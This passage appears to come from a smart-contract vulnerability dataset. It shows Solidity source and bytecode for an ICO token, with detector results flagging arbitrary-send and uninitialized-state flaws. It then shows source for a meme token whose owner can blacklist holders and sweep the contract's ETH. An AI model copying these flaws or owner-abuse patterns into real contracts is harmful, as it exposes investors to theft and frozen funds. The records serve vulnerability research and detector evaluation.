{ return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 1000000000000*10**6; uint256 public constant basePrice = 100*10**6; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 1000000000000*10**6; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor(address tokencontract) Ownable(tokencontract) public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; holders.push(owner); emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyCreator { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyCreator { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title LavevelToken * @dev Contract to create the Kimera Token **/ contract MomentoContract is CrowdsaleToken { string public constant name = "Momento"; string public constant symbol = "Momento"; uint32 public constant decimals = 6; constructor(address tokencontract) CrowdsaleToken(tokencontract) public { } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302d05d3f811461037d57806306fdde03146103ae578063095ea7b31461043857806318160ddd1461047057806323b872dd146104975780632a11ced0146104c1578063313ce567146104d9578063355274ea14610507578063518ab2a81461051c578063661884631461053157806370a082311461055557806389311e6f146105765780638da5cb5b1461058d578063903a3ef6146105a257806395d89b41146103ae578063a9059cbb146105b7578063bf583903146105db578063c7876ea4146105f0578063cbcb317114610507578063d73dd62314610605578063dd62ed3e14610629578063f2fde38b14610650575b6000808080806001600a5474010000000000000000000000000000000000000000900460ff16600281111561015857fe5b1461016257600080fd5b6000341161016f57600080fd5b60085460001061017e57600080fd5b3494506101ad670de0b6b3a76400006101a1876305f5e10063ffffffff61067116565b9063ffffffff6106a016565b935060009250670de0b6b3a76400006101d1856007546106b590919063ffffffff16565b111561023c576007546101f390670de0b6b3a76400009063ffffffff6106c216565b9150610221670de0b6b3a7640000610215846305f5e10063ffffffff6106a016565b9063ffffffff61067116565b9050610233858263ffffffff6106c216565b92508094508193505b60075461024f908563ffffffff6106b516565b600781905561026d90670de0b6b3a76400009063ffffffff6106c216565b60085560008311156102cd57604051339084156108fc029085906000818181858888f193505050501580156102a6573d6000803e3d6000fd5b50604080518481529051339130916000805160206111468339815191529181900360200190a35b336000908152602081905260409020546102ed908563ffffffff6106b516565b33600081815260208181526040918290209390935580518781529051919230926000805160206111468339815191529281900390910190a3600154610338908563ffffffff6106b516565b600155600954604051600160a060020a039091169086156108fc029087906000818181858888f19350505050158015610375573d6000803e3d6000fd5b505050505050005b34801561038957600080fd5b506103926106d4565b60408051600160a060020a039092168252519081900360200190f35b3480156103ba57600080fd5b506103c36106e3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103fd5781810151838201526020016103e5565b50505050905090810190601f16801561042a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044457600080fd5b5061045c600160a060020a036004351660243561071a565b604080519115158252519081900360200190f35b34801561047c57600080fd5b50610485610780565b60408051918252519081900360200190f35b3480156104a357600080fd5b5061045c600160a060020a0360043581169060243516604435610786565b3480156104cd57600080fd5b506103926004356108eb565b3480156104e557600080fd5b506104ee610913565b6040805163ffffffff9092168252519081900360200190f35b34801561051357600080fd5b50610485610918565b34801561052857600080fd5b50610485610924565b34801561053d57600080fd5b5061045c600160a060020a036004351660243561092a565b34801561056157600080fd5b50610485600160a060020a0360043516610a1a565b34801561058257600080fd5b5061058b610a35565b005b34801561059957600080fd5b50610392610ab9565b3480156105ae57600080fd5b5061058b610ac8565b3480156105c357600080fd5b5061045c600160a060020a0360043516602435610b1f565b3480156105e757600080fd5b50610485610f18565b3480156105fc57600080fd5b50610485610f1e565b34801561061157600080fd5b5061045c600160a060020a0360043516602435610f26565b34801561063557600080fd5b50610485600160a060020a0360043581169060243516610fbf565b34801561065c57600080fd5b5061058b600160a060020a0360043516610fea565b60008215156106825750600061069a565b5081810281838281151561069257fe5b041461069a57fe5b92915050565b600081838115156106ad57fe5b049392505050565b8181018281101561069a57fe5b6000828211156106ce57fe5b50900390565b600a54600160a060020a031681565b60408051808201909152600781527f4d6f6d656e746f00000000000000000000000000000000000000000000000000602082015281565b336000818152600660209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561079d57600080fd5b600160a060020a0384166000908152602081905260409020548211156107c257600080fd5b600160a060020a03841660009081526006602090815260408083203384529091529020548211156107f257600080fd5b600160a060020a03841660009081526020819052604090205461081b908363ffffffff6106c216565b600160a060020a038086166000908152602081905260408082209390935590851681522054610850908363ffffffff6106b516565b600160a060020a03808516600090815260208181526040808320949094559187168152600682528281203382529091522054610892908363ffffffff6106c216565b600160a060020a0380861660008181526006602090815260408083203384528252918290209490945580518681529051928716939192600080516020611146833981519152929181900390910190a35060019392505050565b60058054829081106108f957fe5b600091825260209091200154600160a060020a0316905081565b600681565b670de0b6b3a764000081565b60075481565b336000908152600660209081526040808320600160a060020a03861684529091528120548083111561097f57336000908152600660209081526040808320600160a060020a03881684529091528120556109b4565b61098f818463ffffffff6106c216565b336000908152600660209081526040808320600160a060020a03891684529091529020555b336000818152600660209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600a54600160a060020a03163314610a4c57600080fd5b6002600a5474010000000000000000000000000000000000000000900460ff166002811115610a7757fe5b1415610a8257600080fd5b600a805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600954600160a060020a031681565b600a54600160a060020a03163314610adf57600080fd5b6002600a5474010000000000000000000000000000000000000000900460ff166002811115610b0a57fe5b1415610b1557600080fd5b610b1d61107f565b565b600080600160a060020a0384161515610b3757600080fd5b33600090815260208190526040902054831115610b5357600080fd5b33600090815260208190526040902054610b73908463ffffffff6106c216565b3360009081526020819052604080822092909255600254600160a060020a031681522054610ba790606460038602046106b5565b60028054600160a060020a0390811660009081526020819052604090209290925554163360008051602061114683398151915260646003870260408051929091048252519081900360200190a3600354600160a060020a0316600090815260208190526040902054610c1c90606485046106b5565b60038054600160a060020a0390811660009081526020819052604090209290925554163360008051602061114683398151915260648660408051929091048252519081900360200190a3610c98606460048502600454600160a060020a031660009081526020819052604090205491900463ffffffff6106b516565b60048054600160a060020a03908116600090815260208190526040902092909255805490911690339060008051602061114683398151915290606490870260408051929091048252519081900360200190a35060005b600554811015610e45576000806000600584815481101515610d0c57fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020541115610e3d57600554610d9c906064906004811515610d4c57fe5b048502811515610d5857fe5b04600080600585815481101515610d6b57fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020549063ffffffff6106b516565b600080600584815481101515610dae57fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020556005805482908110610de157fe5b600091825260209091200154600554600160a060020a03909116903390600080516020611146833981519152906064906004811515610e1c57fe5b048702811515610e2857fe5b60408051929091048252519081900360200190a35b600101610cee565b600160a060020a038416600090815260208190526040902054610e6e90606460588602046106b5565b600160a060020a0385166000818152602081905260409020919091553360008051602061114683398151915260646058870260408051929091048252519081900360200190a360058054600181810183556000929092527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0018054600160a060020a03871673ffffffffffffffffffffffffffffffffffffffff1990911617905591505092915050565b60085481565b6305f5e10081565b336000908152600660209081526040808320600160a060020a0386168452909152812054610f5a908363ffffffff6106b516565b336000818152600660209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600a54600160a060020a0316331461100157600080fd5b600160a060020a038116151561101657600080fd5b600954604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600a805474ff00000000000000000000000000000000000000001916740200000000000000000000000000000000000000001790556008546000101561110857600854600954600160a060020a03166000908152602081905260409020546110ec9163ffffffff6106b516565b600954600160a060020a03166000908152602081905260409020555b600954604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015611142573d6000803e3d6000fd5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820a98b88b5aa1a330af8ceffd1fb10429a72ee1349dbf24eb7905d6463cccc51d50029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
2,779
0x86d8ba97036a155c71ef39277004d4c101900eac
// SPDX-License-Identifier: UNLICENSED /* :::::::: ::::::::::: :::: ::: ::::::::: :::::::::: :::::::: :::::::::: :::: ::: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+:+: :+: +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +#++:++#++ +#+ +#+ +:+ +#+ +#+ +:+ +#++:++# :#: +#++:++# +#+ +:+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+ +#+# +#+ +#+ +#+#+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+#+# ######## ########### ### #### ######### ########## ######## ########## ### #### */ //https://t.me/sindegen pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SINDEGEN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = unicode"Sindegen"; string private constant _symbol = unicode"SINDEGEN"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xdc48C6B27FA622298F7Afb48a2831f99A8b6D5E2); _buyTax = 11; _sellTax = 11; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance.mul(4).div(11); contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 200_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 200_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax <= 11) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax <= 11) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610348578063c3c8cd8014610368578063c9567bf91461037d578063dbe8272c14610392578063dc1052e2146103b2578063dd62ed3e146103d257600080fd5b8063715018a6146102a55780638da5cb5b146102ba57806395d89b41146102e25780639e78fb4f14610313578063a9059cbb1461032857600080fd5b806323b872dd116100f257806323b872dd14610214578063273123b714610234578063313ce567146102545780636fc3eaec1461027057806370a082311461028557600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019f57806318160ddd146101cf5780631bbae6e0146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a6101553660046118ce565b610418565b005b34801561016857600080fd5b5060408051808201909152600881526729b4b73232b3b2b760c11b60208201525b604051610196919061194f565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba3660046117d6565b610469565b6040519015158152602001610196565b3480156101db57600080fd5b50678ac7230489e800005b604051908152602001610196565b34801561020057600080fd5b5061015a61020f366004611908565b610480565b34801561022057600080fd5b506101bf61022f366004611795565b6104c3565b34801561024057600080fd5b5061015a61024f366004611722565b61052c565b34801561026057600080fd5b5060405160098152602001610196565b34801561027c57600080fd5b5061015a610577565b34801561029157600080fd5b506101e66102a0366004611722565b6105ab565b3480156102b157600080fd5b5061015a6105cd565b3480156102c657600080fd5b506000546040516001600160a01b039091168152602001610196565b3480156102ee57600080fd5b5060408051808201909152600881526729a4a72222a3a2a760c11b6020820152610189565b34801561031f57600080fd5b5061015a610641565b34801561033457600080fd5b506101bf6103433660046117d6565b610880565b34801561035457600080fd5b5061015a610363366004611802565b61088d565b34801561037457600080fd5b5061015a610923565b34801561038957600080fd5b5061015a610963565b34801561039e57600080fd5b5061015a6103ad366004611908565b610b2a565b3480156103be57600080fd5b5061015a6103cd366004611908565b610b61565b3480156103de57600080fd5b506101e66103ed36600461175c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044b5760405162461bcd60e51b8152600401610442906119a4565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610476338484610b98565b5060015b92915050565b6000546001600160a01b031633146104aa5760405162461bcd60e51b8152600401610442906119a4565b6702c68af0bb1400008111156104c05760108190555b50565b60006104d0848484610cbc565b610522843361051d85604051806060016040528060288152602001611b3b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ffc565b610b98565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b8152600401610442906119a4565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a15760405162461bcd60e51b8152600401610442906119a4565b476104c081611036565b6001600160a01b03811660009081526002602052604081205461047a90611070565b6000546001600160a01b031633146105f75760405162461bcd60e51b8152600401610442906119a4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b8152600401610442906119a4565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610442565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072557600080fd5b505afa158015610739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075d919061173f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a557600080fd5b505afa1580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd919061173f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082557600080fd5b505af1158015610839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d919061173f565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610476338484610cbc565b6000546001600160a01b031633146108b75760405162461bcd60e51b8152600401610442906119a4565b60005b815181101561091f576001600660008484815181106108db576108db611aeb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091781611aba565b9150506108ba565b5050565b6000546001600160a01b0316331461094d5760405162461bcd60e51b8152600401610442906119a4565b6000610958306105ab565b90506104c0816110f4565b6000546001600160a01b0316331461098d5760405162461bcd60e51b8152600401610442906119a4565b600e546109ad9030906001600160a01b0316678ac7230489e80000610b98565b600e546001600160a01b031663f305d71947306109c9816105ab565b6000806109de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7a9190611921565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af257600080fd5b505af1158015610b06573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c091906118eb565b6000546001600160a01b03163314610b545760405162461bcd60e51b8152600401610442906119a4565b600b81116104c057600b55565b6000546001600160a01b03163314610b8b5760405162461bcd60e51b8152600401610442906119a4565b600b81116104c057600c55565b6001600160a01b038316610bfa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610442565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610442565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610442565b6001600160a01b038216610d825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610442565b60008111610de45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610442565b6001600160a01b03831660009081526006602052604090205460ff1615610e0a57600